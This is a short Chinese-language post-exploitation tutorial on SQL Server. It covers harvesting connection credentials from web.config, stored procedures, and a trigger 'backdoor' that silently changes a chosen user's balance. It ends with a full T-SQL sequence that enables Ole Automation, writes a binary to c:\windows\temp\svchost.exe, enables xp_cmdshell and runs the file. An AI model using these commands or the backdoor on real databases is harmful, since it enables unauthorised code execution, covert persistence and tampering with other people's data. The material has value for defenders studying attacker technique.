|
SQL Server 在(后)渗透过程中遇到问题的处理
前面是铺垫,对熟悉SQLServer的同学请直接拉到#3
关键字:触发器 后门
1. SQL Server凭证认证•登陆方式分为两种:
•账号密码登录•Windows凭证认证
•如何拿到SQL Server凭证
•通过翻阅已拿到网站源码,查找里面的SQL Server的凭证。如在 ASP.Net 中一般在web.config中。
特征:Server=sqlserver服务地址;uid=用户名;pwd=用户名密 码;database=数据库•通过已有凭证登录。window身份验证字符串不需要带sqlserver的用户名与密码特征:
Server=sqlserver服务地址;Database=数据库;Trusted_Connection=Yes;Connect Timeout=90•SQL Server 高权限用户sa用户为SQL Server数据库默认的超级用户。权限范围:
•对任意数据库表字段进行增删查改。•执行储存过程。•etc..
2. 储存过程存储过程(stored procedure)是一组为了完成特定功能的SQL语句集合,经编译后存储在服务器端的数据库中,利用存储过程可以加速SQL语句的执行。
自定义存储过程,由用户创建并能完成某一特定功能的存储过程,存储过程既可以有参数又有返回值,但是它与函数不同,存储过程的返回值只是指明执行是否成功,
存储过程并不能像函数那样被直接调用,只能利用 execute 来执行存储过程。
•储存过程创建语法
•创建储存过程范例
•系统内置的储存过程
3. SQL Server触发器后门•什么是SQL Server的触发器?触发器对表进行插入、更新、删除的时候会自动执行的特殊存储过程。触发器一般用在check约束更加复杂的约束上面。触发器和普通的存储过程的区别是:触发器是当对某一个表进行操作。诸如:update、insert、delete这些操作的时候,系统会自动调用执行该表上对应的触发器。SQL Server 2005中触发器可以分为两类:DML触发器和DDL触发器,其中DDL触发器它们会影响多种数据定义语言语句而激发,这些语句有create、alter、drop语句。
•触发器语法
•触发器后门PoC
插入一个触发器,当数据库对Users表进行select操作时,我们对Users表中Username为myadmin的用户更新字段banlance为1000•通过系统内置储存过程写二进制文件
- EXEC sp_configure 'Ole Automation Procedures',1;reconfigure;DECLARE @FileData VARBINARY(MAX);
- DECLARE @Path varchar(2000);
- DECLARE @Obj INT;
- SELECT @FileData =0x0123455 ;
- set @Path = 'c:\\windows\\temp\\svchost.exe';
- EXEC sp_OACreate 'ADODB.Stream' , @Obj OUTPUT;
- EXEC sp_OASetProperty @Obj ,'Type',1;
- EXEC sp_OAMethod @Obj,'Open';EXEC sp_OAMethod @Obj,'Write', NULL, @FileData;
- EXEC sp_OAMethod @Obj,'SaveToFile', NULL, @Path, 2;
- EXEC sp_OAMethod @Obj,'Close';
- EXEC sp_OADestroy @Obj;
- EXEC sp_configure 'show advanced options', 1;
- RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;
- RECONFIGURE;Exec xp_cmdshell 'c:\\windows\\temp\\svchost.exe';--
复制代码
|
|